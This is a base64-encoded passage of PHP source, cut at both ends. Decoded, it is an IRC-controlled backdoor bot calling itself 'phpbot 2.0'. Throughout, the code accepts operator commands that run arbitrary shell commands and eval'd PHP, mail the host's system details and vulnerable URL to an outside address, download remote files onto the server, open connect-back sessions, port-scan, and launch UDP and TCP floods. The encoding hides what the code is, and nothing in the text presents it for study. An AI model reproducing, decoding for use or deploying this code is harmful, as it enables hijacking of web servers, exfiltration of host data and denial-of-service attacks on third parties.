AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJtYWlsXDJdOiBJbXBvc3NpdmVsIG1hbmRhciBlLW1haWwuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMm1haWxcMl06IE1lbnNhZ2VtIGVudmlhZGEgcGFyYSBcMiIuJG1jbWRbMV0uIlwyIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInNhZmUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzYWZlbW9kZSA9ICJvbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzYWZlbW9kZSA9ICJvZmYiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJzYWZlIG1vZGVcMl06ICIuJHNhZmVtb2RlLiIiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiaW5ib3giOiAvL3Rlc3RlIGluYm94CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkbWNtZFsxXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG9rZW4gPSBtZDUodW5pcWlkKHJhbmQoKSwgdHJ1ZSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWRlciA9ICJGcm9tOiA8aW5ib3giLiR0b2tlbi4iQGJ5cm9lLm9yZz4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGEgPSBwaHBfdW5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIW1haWwoJG1jbWRbMV0sIkluQm94IFRlc3QiLCIjU2VraXAgVGVjaG5vbG9neSBzaW5jZSAyMDAyXG5cbmlwOiAkYyBcbnNvZnR3YXJlOiAkYiBcbnN5c3RlbTogJGEgXG52dWxuOiBodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iXG5cbmdyZWV0ejogd2lja2VkXG5ieTogZHZsIDxTVE1JS0BieXJvZS5vcmc+IiwkaGVhZGVyKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyaW5ib3hcMl06IFVuYWJsZSB0byBzZW5kIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmluYm94XDJdOiBNZXNzYWdlIHNlbnQgdG8gXDIiLiRtY21kWzFdLiJcMiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJjb25iYWNrIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4yKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbmJhY2soJG1jbWRbMV0sJG1jbWRbMl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkbnMiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZXhwbG9kZSgiLiIsJG1jbWRbMV0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRpcCk9PTQgJiYgaXNfbnVtZXJpYygkaXBbMF0pICYmIGlzX251bWVyaWMoJGlwWzFdKSAmJiBpc19udW1lcmljKCRpcFsyXSkgJiYgaXNfbnVtZXJpYygkaXBbM10pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmRuc1wyXTogIi4kbWNtZFsxXS4iID0+ICIuZ2V0aG9zdGJ5YWRkcigkbWNtZFsxXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG5zXDJdOiAiLiRtY21kWzFdLiIgPT4gIi5nZXRob3N0YnluYW1lKCRtY21kWzFdKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJpbmZvIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInZ1bmwiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAib24iOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsgJHNhZmVtb2RlID0gIm9mZiI7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmFtZSA9IHBocF91bmFtZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJpbmZvXDJdOiAkdW5hbWUgKHNhZmU6ICRzYWZlbW9kZSkiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wydnVsblwyXTogaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJib3QiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJib3RcMl06IHBocGJvdCAyLjAgYnk7ICNjcmV3QGNvcnAuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInVuYW1lIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsgJHNhZmVtb2RlID0gIm9uIjsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICRzYWZlbW9kZSA9ICJvZmYiOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyaW5mb1wyXTogJHVuYW1lIChzYWZlOiAkc2FmZW1vZGUpIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJuZG5pY2siOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZXRfbmljaygpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJhdyI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2VuZChzdHJzdHIoJG1zZywkbWNtZFsxXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImV2YWwiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXZhbCA9IGV2YWwoc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzFdKSxzdHJsZW4oJG1jbWRbMV0pKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKCQkJICAgICAgICAgICAgICAgIGNhc2UgInNleGVjIjoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleGVjID0gc2hlbGxfZXhlYygkY29tbWFuZCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkZXhlYyk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmV0WyRpXSE9TlVMTCkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGldKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImV4ZWMiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleGVjID0gZXhlYygkY29tbWFuZCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkZXhlYyk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmV0WyRpXSE9TlVMTCkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGldKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInBhc3N0aHJ1IjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IHBhc3N0aHJ1KCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicG9wZW4iOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmQgPSBzdWJzdHIoc3Ryc3RyKCRtc2csJG1jbWRbMF0pLHN0cmxlbigkbWNtZFswXSkrMSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJwb3BlblwyXTogJGNvbW1hbmQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwaXBlID0gcG9wZW4oJGNvbW1hbmQsInIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGlwZSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYnVmID0gdHJpbShmZ2V0cygkcGlwZSw1MTIpKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcGJ1ZiAhPSBOVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICA6ICRwYnVmIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBjbG9zZSgkcGlwZSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAgCgkJCSAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAic3lzdGVtIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IHN5c3RlbSgkY29tbWFuZCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkZXhlYyk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmV0WyRpXSE9TlVMTCkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIiAgICAgIDogIi50cmltKCRyZXRbJGldKSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJwc2NhbiI6IC8vIC5wc2NhbiAxMjcuMC4wLjEgNjY2NyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZzb2Nrb3BlbigkbWNtZFsxXSwkbWNtZFsyXSwkZSwkcywxNSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJwc2NhblwyXTogIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0uIiBpcyBcMm9wZW5cMiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMnBzY2FuXDJdOiAiLiRtY21kWzFdLiI6Ii4kbWNtZFsyXS4iIGlzIFwyY2xvc2VkXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWQuc2VydmVyIjogLy8gLnVkLnNlcnZlciA8c2VydmVyPiA8cG9ydD4gW3Bhc3N3b3JkXSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4yKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29uZmlnWydzZXJ2ZXInXSA9ICRtY21kWzFdOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb25maWdbJ3BvcnQnXSA9ICRtY21kWzJdOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRtY21jZFszXSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29uZmlnWydwYXNzJ10gPSAkbWNtZFszXTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJ1cGRhdGVcMl06IFNlcnZlciB0cm9jYWRvIHBhcmEgIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0uIiBTZW5oYTogIi4kbWNtZFszXSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJ1cGRhdGVcMl06IFNlcnZlciB0cm9jYWRvIHBhcmEgIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZG93bmxvYWQiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZnAgPSBmb3BlbigkbWNtZFsyXSwidyIpKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMmRvd25sb2FkXDJdOiBOYW8gZm9pIHBvc3NpdmVsIGZhemVyIG8gZG93bmxvYWQuIFBlcm1pc3NhbyBuZWdhZGEuIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRnZXQgPSBmaWxlKCRtY21kWzFdKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJkb3dubG9hZFwyXTogTmFvIGZvaSBwb3NzaXZlbCBmYXplciBvIGRvd25sb2FkIGRlIFwyIi4kbWNtZFsxXS4iXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTw9Y291bnQoJGdldCk7JGkrKykgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwkZ2V0WyRpXSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG93bmxvYWRcMl06IEFycXVpdm8gXDIiLiRtY21kWzFdLiJcMiBiYWl4YWRvIHBhcmEgXDIiLiRtY21kWzJdLiJcMiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyZG93bmxvYWRcMl06IHVzZSAuZG93bmxvYWQgaHR0cDovL3lvdXIuaG9zdC9maWxlIC90bXAvZmlsZSIpOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkaWUiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUIDpkaWUgY29tbWFuZCBmcm9tICRuaWNrIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHRoaXMtPmNvbm4pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAibG9nb3V0IjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJhdXRoXDJdOiAkbmljayBkZXNsb2dhZG8hIik7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWRwZmxvb2QiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4zKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dWRwZmxvb2QoJG1jbWRbMV0sJG1jbWRbMl0sJG1jbWRbM10pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ0Y3BmbG9vZCI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoY291bnQoJG1jbWQpPjUpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50Y3BmbG9vZCgkbWNtZFsxXSwkbWNtZFsyXSwkbWNtZFszXSwkbWNtZFs0XSwkbWNtZFs1XSk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgIH0gCiAgICAgICAgICB9IAogICAgICAgfSAKICAgICAgICRvbGRfYnVmID0gJHRoaXMtPmJ1ZjsgCiAgICB9IAogICAgJHRoaXMtPnN0YXJ0KCk7IAogfSAKIGZ1bmN0aW9uIHNlbmQoJG1zZykgCiB7IAogICAgZndyaXRlKCR0aGlzLT5jb25uLCIkbXNnXHJcbiIpOyAKCiB9IAogZnVuY3Rpb24gam9pbigkY2hhbiwka2V5PU5VTEwpIAogeyAKICAgICR0aGlzLT5zZW5kKCJKT0lOICRjaGFuICRrZXkiKTsgCiB9IAogZnVuY3Rpb24gcHJpdm1zZygkdG8sJG1zZykKIHsKICAgICR0aGlzLT5zZW5kKCJQUklWTVNHICR0byA6JG1zZyIpOwogfQogZnVuY3Rpb24gbm90aWNlKCR0bywkbXNnKQogewogICAgJHRoaXMtPnNlbmQoIk5PVElDRSAkdG8gOiRtc2ciKTsKIH0KIGZ1bmN0aW9uIGlzX2xvZ2dlZF9pbigkaG9zdCkgCiB7IAogICAgaWYoaXNzZXQoJHRoaXMtPnVzZXJzWyRob3N0XSkpIAogICAgICAgcmV0dXJuIDE7IAogICAgZWxzZSAKICAgICAgIHJldHVybiAwOyAKIH0gCiBmdW5jdGlvbiBsb2dfaW4oJGhvc3QpIAogeyAKICAgICR0aGlzLT51c2Vyc1skaG9zdF0gPSB0cnVlOyAKIH0gCiBmdW5jdGlvbiBsb2dfb3V0KCRob3N0KSAKIHsgCiAgICB1bnNldCgkdGhpcy0+dXNlcnNbJGhvc3RdKTsgCiB9IAogZnVuY3Rpb24gc2V0X25pY2soKSAKIHsgCiAgICBpZihpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSAKICAgIHsgCiAgICAgICBpZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCJhcGFjaGUiKSkgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbQV0iOyAKICAgICAgIGVsc2VpZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCJpaXMiKSkgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbSV0iOyAKICAgICAgIGVsc2VpZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCJ4aXRhbWkiKSkgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbWF0iOyAKICAgICAgIGVsc2UgCiAgICAgICAgICAkdGhpc